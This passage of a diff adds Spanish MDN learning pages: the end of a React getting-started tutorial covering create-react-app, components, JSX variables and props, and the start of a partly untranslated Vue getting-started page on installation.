+<p>Si estás usando Windows, necesitarás instalar algún software para darle paridad con el terminal Unix/macOS, y así poder usar los comandos del terminal mencionados en este tutorial. <strong>Gitbash</strong> (el cual viene como parte del <a href="https://gitforwindows.org/">conjunto de herramientas git para Windows</a>) o el <strong><a href="https://docs.microsoft.com/en-us/windows/wsl/about">Subsistema de Windows para Linux</a></strong> (<strong>WSL</strong>, por sus siglas en inglés) son ambos adecuados. Consulte el <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">Curso intensivo de línea de comandos</a> para obtener más información sobre estos y sobre los comandos de terminal en general.</p>
+
+<p>También ten en cuenta que React y ReactDOM producen aplicaciones que solo funcionan en un conjunto bastante moderno de navegadores (IE9+ a través de algunos polyfills). Se recomienda el uso de un navegador moderno como Firefox, Safari o Chrome cuando trabajes con estos tutoriales.</p>
+
+<p>Además, consulta lo siguiente para obtener más información:</p>
+
+<ul>
+ <li><a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-npm/">"¿Qué es npm?" en nodejs.org</a></li>
+ <li><a href="https://blog.npmjs.org/post/162869356040/introducing-npx-an-npm-package-runner">"Introducing npx" en el blog de npm</a></li>
+ <li><a href="https://create-react-app.dev/">La documentación de create-react-app</a></li>
+</ul>
+
+<h3 id="Inicializando_tu_aplicación">Inicializando tu aplicación</h3>
+
+<p>create-react-app recibe un argumento: el nombre que te gustaría darle a tu aplicación. create-react-app usa este nombre para crear una nueva carpeta, luego crea los archivos necesarios dentro de la misma. Asegúrate de <code>cd</code> al lugar donde te gustaría que se guarde tu aplicación en tu disco duro, luego ejecuta lo siguiente en tu terminal:</p>
+
+<pre class="brush: bash notranslate">npx create-react-app moz-todo-react</pre>
+
+<p>Esto crea una carpeta <code>moz-todo-react</code>, y hace varias cosas dentro de la misma:</p>
+
+<ul>
+ <li>Instala algunos paquetes npm esenciales para la funcionalidad de la aplicación.</li>
+ <li>Escribe scripts para iniciar y servir la aplicación.</li>
+ <li>Crea una estructura de archivos y carpetas que definen la arquitectura básica de la aplicación.</li>
+ <li>Inicializa la carpeta como un repositorio de git, si tienes git instalado en tu computadora.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: si tienes instalado el administrador de paquetes yarn, create-react-app lo usará por defecto en lugar de npm. Si tienes ambos administradores de paquetes instalados y quieres, explícitamente, usar npm, puedes agregar el indicador <code>--use-npm</code> cuando ejecutes create-react-app:</p>
+
+<pre class="brush: bash notranslate">npx create-react-app moz-todo-react --use-npm</pre>
+</div>
+
+<p>create-react-app mostrará una serie de mensajes en tu terminal mientras opera, ¡lo cual es normal! Esto puede tardar unos minutos, por lo que ahora podría ser un buen momento para preparar una taza de té.</p>
+
+<p>Una vez completado el proceso, <code>cd</code> a la carpeta <code>moz-todo-react</code> y ejecuta el comando <code>npm start</code>. Los scripts instalados por create-react-app comenzarán a servirse en un servidor local en <code>localhost:3000</code> y abrirán la aplicación en una nueva pestaña del navegador. Tu navegador mostrará algo como esto:</p>
+
+<p><img alt="Screenshot of Firefox MacOS, open to localhost:3000, showing the default create-react-app application" src="https://mdn.mozillademos.org/files/17203/default-create-react-app.png" style="border-style: solid; border-width: 1px; height: 980px; width: 1600px;"></p>
+
+<h3 id="Estructura_de_la_aplicación">Estructura de la aplicación</h3>
+
+<p>create-react-app nos provee todo lo que necesitamos para desarrollar una aplicación React. Su estructura inicial de archivos luce así:</p>
+
+<pre class="notranslate">moz-todo-react
+├── README.md
+├── node_modules
+├── package.json
+├── package-lock.json
+├── .gitignore
+├── public
+│   ├── favicon.ico
+│   ├── index.html
+│   └── manifest.json
+└── src
+    ├── App.css
+    ├── App.js
+    ├── App.test.js
+    ├── index.css
+    ├── index.js
+    ├── logo.svg
+    └── serviceWorker.js</pre>
+
+<p>La carpeta <strong><code>src</code></strong> es donde pasaremos la mayor parte de nuestro tiempo, ya que es donde reside el código fuente de nuestra aplicación.</p>
+
+<p>La carpeta <strong><code>public</code></strong> contiene archivos que serán leidos por tu navegador mientras desarrollas la aplicación; el más importante de ellos es <code>index.html</code>. React introduce tu código en este archivo de manera que tu navegador pueda ejecutarlo. Hay alguno que otro marcado que ayuda a create-react-app a funcionar, así que ten cuidado de no editarlo a menos que sepas lo que estás haciendo. Deberías cambiar el texto dentro del elemento <code><a href="/en-US/docs/Web/HTML/Element/title">&lt;title&gt;</a></code> en este archivo para reflejar el título de tu aplicación. ¡Los títulos de página precisos son importantes para la accesibilidad!</p>
+
+<p>La carpeta <code>public</code> también será publicada cuando crees y despliegues una versión para producción de tu aplicación. No cubriremos el despliegue en este tutorial, pero deberías poder usar una solución similar a la descrita en nuestro tutorial <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Despliegue de nuestra aplicación</a>.</p>
+
+<p>El archivo <code>package.json</code> contiene información sobre nuestro proyecto que Node.js/npm usa para mantenerlo organizado. Este archivo no es exclusivo de las aplicaciones React; create-react-app simplemente lo completa. No es necesario que entiendas este archivo en lo absoluto para completar este tutorial, sin embargo, si deseas obtener más información al respecto, puedes leer <a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/">What is the file `package.json`? en NodeJS.org</a>; también hablamos de ello en nuestro tutorial <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Conceptos básicos de administración de paquetes</a>.</p>
+
+<h2 id="Explorando_nuestro_primer_componente_React_—_&lt;App>">Explorando nuestro primer componente React — <code>&lt;App/&gt;</code></h2>
+
+<p>En React, un <strong>componente</strong> es un módulo reutilizable que representa una parte de nuestra aplicación. Estas partes pueden ser grandes o pequeñas, pero, generalmente, están bien definidas: tienen un propósito único y obvio.</p>
+
+<p>Abramos <code>src/App.js</code>, ya que nuestro navegador nos pide que lo editemos. Este archivo contiene nuestro primer componente —<code>App</code>—, y algunas otras líneas de código:</p>
+
+<pre class="brush: js notranslate">import React from 'react';
+import logo from './logo.svg';
+import './App.css';
+
+function App() {
+  return (
+    &lt;div className="App"&gt;
+      &lt;header className="App-header"&gt;
+        &lt;img src={logo} className="App-logo" alt="logo" /&gt;
+        &lt;p&gt;
+          Edit &lt;code&gt;src/App.js&lt;/code&gt; and save to reload.
+        &lt;/p&gt;
+        &lt;a
+          className="App-link"
+          href="https://reactjs.org"
+          target="_blank"
+          rel="noopener noreferrer"
+        &gt;
+          Learn React
+        &lt;/a&gt;
+      &lt;/header&gt;
+    &lt;/div&gt;
+  );
+}
+export default App;</pre>
+
+<p>El archivo <code>App.js</code> se compone de tres partes principales: algunas declaraciones <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> en la parte superior, el componente <code>App</code> en el medio, y una declaración <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> en la parte inferior. La mayoría de los componentes de React siguen este patrón.</p>
+
+<h3 id="Declaraciones_import">Declaraciones <code>import</code></h3>
+
+<p>Las declaraciones <code>import</code> en la parte superior del archivo le permiten a <code>App.js</code> utilizar código que ha sido definido en otra parte. Revisemos estas declaraciones más detalladamente.</p>
+
+<pre class="brush: js notranslate">import React from 'react';
+import logo from './logo.svg';
+import './App.css';</pre>
+
+<p>La primera declaración importa la biblioteca React como tal. Dado que React convierte el JSX que escribimos en <code>React.createElement()</code>, todos los componentes de React deben importar el módulo <code>React</code>. Si omites este paso, tu aplicación producirá un error.</p>
+
+<p>La segunda declaración importa un logotipo de <code>'./logo.svg'</code>. Observa el uso de <code>./</code> al principio de la ruta y la extensión <code>.svg</code> al final — estos nos indican que el archivo es local y que no es un archivo JavaScript. De hecho, el archivo <code>logo.svg</code> reside en nuestra carpeta raíz.</p>
+
+<p>No hace falta proveer una ruta o extensión al importar el módulo <code>React</code>, ya que este no es un archivo local. En cambio, aparece como una dependencia en nuestro archivo <code>package.json</code>. ¡Ten cuidado con esta distinción mientras trabajas en esta lección!</p>
+
+<p>La tercera declaración importa el CSS relacionado con nuestro componente <code>App</code>. Observa que no hay nombre de variable ni de directiva <code>from</code>. Esta sintaxis de importación en particular no es propia de la sintaxis de módulos de JavaScript. Esta proviene de Webpack, la herramienta que create-react-app usa para agrupar todos nuestros archivos JavaScript y enviarlos al navegador.</p>
+
+<h3 id="El_componente_App">El componente <code>App</code></h3>
+
+<p>Después de las importaciones, tenemos una función llamada <code>App</code>. Mientras que una mayor parte de la comunidad JavaScript prefiere nombres tipo <em>camel-case</em> como <code>helloWorld</code>, los componentes de React usan nombres de variables tipo <em>pascal-case</em>, como <code>HelloWorld</code>, para dejar en claro que un determinado elemento JSX es un componente de React y no una etiqueta HTML normal. Si llegaras a cambiar el nombre de la función <code>App</code> por <code>app</code>, tu navegador te mostraría un error.</p>
+
+<p>Vamos a darle un vistazo más detallado a <code>App</code>.</p>
+
+<pre class="brush: js notranslate">function App() {
+  return (
+    &lt;div className="App"&gt;
+      &lt;header className="App-header"&gt;
+        &lt;img src={logo} className="App-logo" alt="logo" /&gt;
+        &lt;p&gt;
+          Edit &lt;code&gt;src/App.js&lt;/code&gt; and save to reload.
+        &lt;/p&gt;
+        &lt;a
+          className="App-link"
+          href="https://reactjs.org"
+          target="_blank"
+          rel="noopener noreferrer"
+        &gt;
+          Learn React
+        &lt;/a&gt;
+      &lt;/header&gt;
+    &lt;/div&gt;
+  );
+}</pre>
+
+<p>La función <code>App</code> devuelve una expresión JSX. Esta expresión define lo que tu navegador presenta en última instancia al DOM.</p>
+
+<p>Algunos elementos de la expresión tienen atributos, los cuales se escriben igual que en HTML, siguiendo un patrón de <code>atributo="valor"</code>. En la línea 3, la etiqueta de apertura <code><a href="/en-US/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> tiene un atributo <code>className</code>. Este es equivalente al atributo <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code> de HTML, pues dado que JSX es JavaScript, no podemos usar la palabra <code>class</code> —la cual está reservada—, lo que significa que JavaScript ya la usa para un propósito específico y causaría problemas en nuestro código. Algunos otros atributos HTML también se escriben de manera diferente en JSX (de como se escriben en HTML), por el mismo tipo de razón. Los revisaremos a medida que nos crucemos con estos.</p>
+
+<p>Tómate un momento para cambiar la etiqueta <code><a href="/en-US/docs/Web/HTML/Element/p">&lt;p&gt;</a></code> en la línea 6 para que diga "¡Hola, mundo!", luego guarda los cambios. Notarás que este cambio se procesa inmediatamente en el servidor de desarrollo que se ejecuta en <code>http://localhost:3000</code> en tu navegador. Ahora elimina la etiqueta <code><a href="/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code> y guarda los cambios; el enlace "Learn React" habrá desaparecido.</p>
+
+<p>Ahora, tu componente <code>App</code> debería lucir así:</p>
+
+<pre class="brush: js notranslate">function App() {
+  return (
+    &lt;div className="App"&gt;
+      &lt;header className="App-header"&gt;
+        &lt;img src={logo} className="App-logo" alt="logo" /&gt;
+        &lt;p&gt;
+          ¡Hola, mundo!
+        &lt;/p&gt;
+      &lt;/header&gt;
+    &lt;/div&gt;
+  );
+}</pre>
+
+<h3 id="Declaraciones_export">Declaraciones <code>export</code></h3>
+
+<p>En la parte inferior del archivo <code>App.js</code>, la declaración <code>export default App</code> hace que nuestro componente <code>App</code> esté disponible para otros módulos.</p>
+
+<h2 id="Explorando_el_index">Explorando el index</h2>
+
+<p>Vamos a abrir el archivo <code>src/index.js</code>, ya que es en este donde el componente <code>App</code> está siendo utilizado. Este archivo es el punto de entrada para nuestra aplicación, e inicialmente luce así:</p>
+
+<pre class="brush: js notranslate">import React from 'react';
+import ReactDOM from 'react-dom';
+import './index.css';
+import App from './App';
+import * as serviceWorker from './serviceWorker';
+
+ReactDOM.render(&lt;App /&gt;, document.getElementById('root'));
+
+// If you want your app to work offline and load faster, you can change
+// unregister() to register() below. Note this comes with some pitfalls.
+// Learn more about service workers: https://bit.ly/CRA-PWA
+serviceWorker.unregister();</pre>
+
+<p>Al gual que <code>App.js</code>, el archivo comienza importando todos los módulos JS y otros activos que necesita para ejecutarse. <code>src/index.css</code> contiene estilos globales que se aplican a toda nuestra aplicación. Podemos ver que nuestro componente <code>App</code> también es importado acá; su importación es posible gracias a la declaración <code>export</code> en la parte inferior de <code>App.js</code>.</p>
+
+<p>En la línea 7, se invoca la función <code>ReactDOM.render()</code> de React con dos argumentos:</p>
+
+<ul>
+ <li>El componente que queremos renderizar, <code>&lt;App /&gt;</code> en este caso.</li>
+ <li>El elemento DOM dentro del cual queremos que se renderice el componente, en este caso, el elemento con un ID de <code>root</code>. Si miras dentro de <code>public/index.html</code>, verás que este es un elemento <code>&lt;div&gt;</code> justo dentro de <code>&lt;body&gt;</code>.</li>
+</ul>
+
+<p>Todo esto le indica a React que queremos renderizar nuestra aplicación React con el componente <code>App</code> como raíz, o primer componente.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En JSX, los componentes de React y los elementos HTML deben tener, obligatoriamente, barras diagonales de cierre. Escribir solo <code>&lt;App&gt;</code> o solo <code>&lt;img&gt;</code> provocará un error.</p>
+</div>
+
+<p>Los <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> son interesantes piezas de código que ayudan al rendimiento de las aplicaciones y permiten que las funciones de tus aplicaciones web funcionen sin conexión, pero estas no están dentro del alcance de este artículo. Puedes eliminar la línea 5, así como las líneas 9 a 12.</p>
+
+<p>Finalmente, tu archivo <code>index.js</code> debería verse así:</p>
+
+<pre class="brush: js notranslate">import React from 'react';
+import ReactDOM from 'react-dom';
+import './index.css';
+import App from './App';
+
+ReactDOM.render(&lt;App /&gt;, document.getElementById('root'));</pre>
+
+<h2 id="Variables_y_props">Variables y props</h2>
+
+<p>A continuación, usaremos algunas de nuestras habilidades de JavaScript para lograr sentirnos un poco más cómodos editando componentes y trabajando con datos en React. Hablaremos sobre cómo se usan las variables dentro de JSX, e introduciremos props, que son una forma de pasar datos a un componente (al que luego se puede acceder usando variables).</p>
+
+<h3 id="Variables_en_JSX">Variables en JSX</h3>
+
+<p>De vuelta en <code>App.js</code>, enfoquémonos en la línea 9:</p>
+
+<pre class="brush: js notranslate">&lt;img src={logo} className="App-logo" alt="logo" /&gt;</pre>
+
+<p>Aquí, el valor del atributo <code>src</code> de la etiqueta <code>&lt;img /&gt;</code> está entre llaves. Así es como JSX reconoce las variables. Al encontrarse con <code>{logo}</code>, React sabrá que nos referimos a la importación del logotipo en la línea 2 de nuestra aplicación, y luego recuperará el archivo del logo y lo renderizará.</p>
+
+<p>Vamos a intentar crear una variable propia. Antes de la declaración return de <code>App</code>, agrega <code>const subject = "React";</code>. Tu componente <code>App</code> ahora debería verse así:</p>
+
+<pre class="brush: js notranslate">function App() {
+  const subject = "React";
+  return (
+    &lt;div className="App"&gt;
+      &lt;header className="App-header"&gt;
+        &lt;img src={logo} className="App-logo" alt="logo" /&gt;
+        &lt;p&gt;
+          ¡Hola, mundo!
+        &lt;/p&gt;
+      &lt;/header&gt;
+    &lt;/div&gt;
+  );
+}</pre>
+
+<p>Cambia la línea 8, de manera que se use la variable <code>subject</code> en vez de la palabra "mundo", así:</p>
+
+<pre class="brush: js notranslate">function App() {
+  const subject = "React";
+  return (
+    &lt;div className="App"&gt;
+      &lt;header className="App-header"&gt;
+        &lt;img src={logo} className="App-logo" alt="logo" /&gt;
+        &lt;p&gt;
+          ¡Hola, {subject}!
+        &lt;/p&gt;
+      &lt;/header&gt;
+    &lt;/div&gt;
+  );
+}</pre>
+
+<p>Al guardar, tu navegador debería mostrar "¡Hola, React!" en vez de "¡Hola, mundo!"</p>
+
+<p>Las variables son convenientes, pero la que acabamos de configurar no hace gran uso de las funciones de React. Es allí donde entran los props.</p>
+
+<h3 id="Props_de_componentes">Props de componentes</h3>
+
+<p>Un <strong>prop</strong> es cualquier dato que se pasa a un componente de React. Los props se escriben dentro de las llamadas a los componentes y utilizan la misma sintaxis que los atributos HTML: <code>prop="value"</code>. Abramos <code>index.js</code> y démosle a la llamada de nuestro <code>&lt;App/&gt;</code> su primer prop.</p>
+
+<p>Agrega un prop de <code>subject</code> a la llamada del componente <code>&lt;App /&gt;</code>, con un valor de <code>Clarice</code>. Al terminar, tu código debería verse similar a este:</p>
+
+<pre class="brush: js notranslate">ReactDOM.render(&lt;App subject="Clarice" /&gt;, document.getElementById('root'));</pre>
+
+<p>Volviendo a <code>App.js</code>, vamos a revisar nuevamente la función <code>App</code> como tal, la cual se lee así (acortando la declaración <code>return</code> por razones de brevedad):</p>
+
+<pre class="brush: js notranslate">function App() {
+  const subject = "React";
+  return (
+    // return statement
+  );
+}</pre>
+
+<p>Cambia la declaración de la función <code>App</code> de manera que tome <code>props</code> como un parámetro, y elimina la constante <code>subject</code>. Al igual que cualquier otro parámetro de una función, puedes pasar <code>props</code> a <code>console.log()</code> para imprimirlos en la consola de tu navegador. Continúa, haciendo esto antes de la declaración <code>return</code>, así:</p>
+
+<pre class="brush: js notranslate">function App(props) {
+  console.log(props);
+  return (
+    // return statement
+  );
+}</pre>
+
+<p>Guarda tu archivo y revisa la consola JavaScript de tu navegador. Deberías ver registrado algo como esto:</p>
+
+<pre class="brush: js notranslate">Object { subject: "Clarice" }</pre>
+
+<p>La propiedad <code>subject</code> del objeto corresponde al prop <code>subject</code> que agregamos a la llamada de nuestro componente <code>&lt;App /&gt;</code>, y la cadena <code>Clarice</code> corresponde a su valor. Los props de componentes en React siempre se recopilan en objetos de esta manera.</p>
+
+<p>Ahora que <code>subject</code> es uno de nuestros props, usémoslo en <code>App.js</code>. Cambia la constante <code>subject</code> de manera que, en vez de definirla como la cadena <code>React</code>, estés leyendo el valor de <code>props.subject</code>. También puedes eliminar <code>console.log()</code>, si así lo quieres.</p>
+
+<pre class="brush: js notranslate">function App(props) {
+  const subject = props.subject;
+  return (
+    // return statement
+  );
+}</pre>
+
+<p>Una vez guardes, la aplicación debería darte la bienvenida con un "¡Hola, Clarice!". Si regresas a <code>index.js</code>, editas el valor de <code>subject</code>, y guardas, el texto cambiará.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esto nos lleva al final de nuestra introducción a React, la cual incluye cómo instalarlo de manera local, cómo crear una aplicación inicial, y cómo funcionan los conceptos básicos. En el próximo artículo comenzaremos a construir nuestra primera aplicación como tal: una lista de tareas pendientes. Sin embargo, antes de ello, recapitulemos algunas de las cosas que hemos aprendido.</p>
+
+<p>En React:</p>
+
+<ul>
+ <li>Los componentes pueden importar los módulos que necesitan y deben exportarse a sí mismos al final de sus archivos.</li>
+ <li>Las funciones de componentes se nombran con <code>PascalCase</code>.</li>
+ <li>Puedes leer las variables JSX poniéndolas entre llaves, <code>{así}</code>.</li>
+ <li>Algunos atributos JSX son diferentes a los atributos HTML, para evitar conflictos con las palabras reservadas de JavaScript. Por ejemplo, el atributo <code>class</code> de HTML se convierte en <code>className</code> en JSX. Ten en cuenta que los atributos de varias palabras se nombran con <code>camelCase</code>.</li>
+ <li>Los props se escriben como atributos dentro de las llamadas de componentes y se pasan a los componentes.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introducción a los frameworks del lado del cliente</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Características principales de los frameworks</a></li>
+ <li>React
+  <ul>
+   <li><a href="/es/docs/Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/React_getting_started">Primeros pasos en React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Comenzando con nuestra lista de tareas de React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Basando nuestra aplicación React en componentes</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">Interactividad de React: eventos y estado</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">Interactividad de React: edición, filtrado, renderizado condicional</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accesibilidad en React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">Recursos sobre React</a></li>
+  </ul>
+ </li>
+ <li>Ember
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Primeros pasos en Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Estructura de una aplicación Ember y cómo se basa en componentes</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Interactividad de Ember: eventos, clases, y estado</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Interactividad de Ember: funcionalidad del footer, renderizado condicional</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Enrutamiento en Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Recursos sobre y solución de problemas</a></li>
+  </ul>
+ </li>
+ <li>Vue
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Primeros pasos en Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creando nuestro primer componente de Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Renderizando una lista de componentes de Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Agregar una nueva forma de tareas pendientes: eventos, métodos y modelos de Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Agregando estilos a los componentes de Vue con CSS</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Usando propiedades calculadas de Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Renderización condicional en Vue: editando tareas existentes</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Gestión de enfoque con Vue refs</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Recursos sobre Vue</a></li>
+  </ul>
+ </li>
+ <li>Svelte
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Primeros pasos en Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Comenzando con nuestra aplicación Svelte de lista de tareas</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Comportamiento dinámico en Svelte: trabajando con variables y props</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Basando nuestra aplicación Svelte en componentes</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Svelte avanzado: reactividad, ciclo de vida, accesibilidad</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Trabajando con Svelte stores</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">Compatibilidad con TypeScript en Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Implementación y próximos pasos</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/vue_primeros_pasos/index.html b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/vue_primeros_pasos/index.html
new file mode 100644
index 0000000000..ea24ac2a81
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/vue_primeros_pasos/index.html
@@ -0,0 +1,294 @@
+---
+title: Primeros pasos con Vue
+slug: >-
+  Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/Vue_primeros_pasos
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div>
+
+<p class="summary">Ahora vamos a introducir Vue, el tercero de nuestros frameworks. En este articulo vamos a ver un poco del background de Vue, aprenderemos cómo instalarlo y a crear un nuevo proyecto, estudiar la estructura de alto nivel de todo el proyecto y un componente individual, sabremos como correr el proyecto localmente, y tenerlo preparado para empezar a construir nuestro ejemplo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>
+    <p>Familiaridad con los motores de los lenguajes  <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, y  <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, conocimiento del <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p>
+
+    <p>Los componentes Vue son escritos como una combinacion de objectos Javascript que administran los datos de la app y una sintaxis de plantilla basada en HTML que se enlaza con la estructura DOM subyacente. Para la instalación, y para usar algunas de las caracteristicas mas avanzadas de Vue (como Componentes de archivos simples o renderizado de funciones), vas a necesitar un terminar con node + npm instalados.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Configurar un entorno de desarrollo local de Vue, crear una app de inicio y entender los principios de su funcionamiento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Un_Vue_más_claro">Un Vue más claro</h2>
+
+<p>Vue es un framework moderno de Javascript que proveé facilidades muy utiles para el mejoramiento progresivo- al contrario de otros frameworks, puedes usar Vue para mejorar un HTML exstente. Esto permite usar Vue como un remplazo agregado para una libreria como <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/jQuery">JQuery</a>.</p>
+
+<p>Habiendo dicho esto, tambien puedes usar Vue para escribir completamente una aplicación de una sola página(SPAs).This allows you to create markup managed entirely by Vue, which can improve developer experience and performance when dealing with complex applications. It also allows you to take advantage of libraries for client-side routing and state management when you need to. Additionally, Vue takes a "middle ground" approach to tooling like client-side routing and state management. While the Vue core team maintains suggested libraries for these functions, they are not directly bundled into Vue. This allows you to select a different routing/state management library if they better fit your application.</p>
+
+<p>In addition to allowing you to progressively integrate Vue into your applications, Vue also provides a progressive approach to writing markup. Like most frameworks, Vue lets you create reusable blocks of markup via components. Most of the time, Vue components are written using a special HTML template syntax. When you need more control than the HTML syntax allows, you can write JSX or plain JavaScript functions to define your  components.</p>
+
+<p>As you work through this tutorial, you might want to keep the <a href="https://vuejs.org/v2/guide/">Vue guide</a> and <a href="https://vuejs.org/v2/api/">API documentation</a> open in other tabs, so you can refer to them if you want more information on any sub topic.<br>
+ For a good (but potentially biased) comparison between Vue and many of the other frameworks, see <a href="https://vuejs.org/v2/guide/comparison.html">Vue Docs: Comparison with Other Frameworks</a>.</p>
+
+<h2 id="Installation">Installation</h2>
+
+<p>To use Vue in an existing site, you can drop one of the following <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> elements onto a page. This allows you to start using Vue on existing sites, which is why Vue prides itself on being a progressive framework. This is a great option when migrating an existing project using a library like JQuery to Vue. With this method, you can use a lot of the core features of Vue, such as the attributes, custom components, and data-management.</p>
+
+<ul>
+ <li>
+  <p>Development Script (Unoptimized, but includes console warnings. Great for development</p>
+
+  <pre class="brush: html notranslate">&lt;script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>
+  <p>Production Script (Optimized version, minimal console warnings. It is recommended that you specify a version number when including Vue on your site so that any framework updates do not break your live site without you knowing.)</p>
+
+  <pre class="brush: html notranslate">&lt;script src="https://cdn.jsdelivr.net/npm/vue@2"&gt;&lt;/script&gt;</pre>
+ </li>
+</ul>
+
+<p>However, this approach has some limitations. To build more complex apps, you’ll want to use the <a href="https://www.npmjs.com/package/vue">Vue NPM package</a>. This will let you use advanced features of Vue and take advantage of bundlers like WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package &amp; the CLI you will need:</p>
+
+<ol>
+ <li>Node.js 8.11+ installed.</li>
+ <li>npm or yarn.</li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you don't have the above installed, find out <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line#Adding_powerups">more about installing npm and Node.js</a> here.</p>
+</div>
+
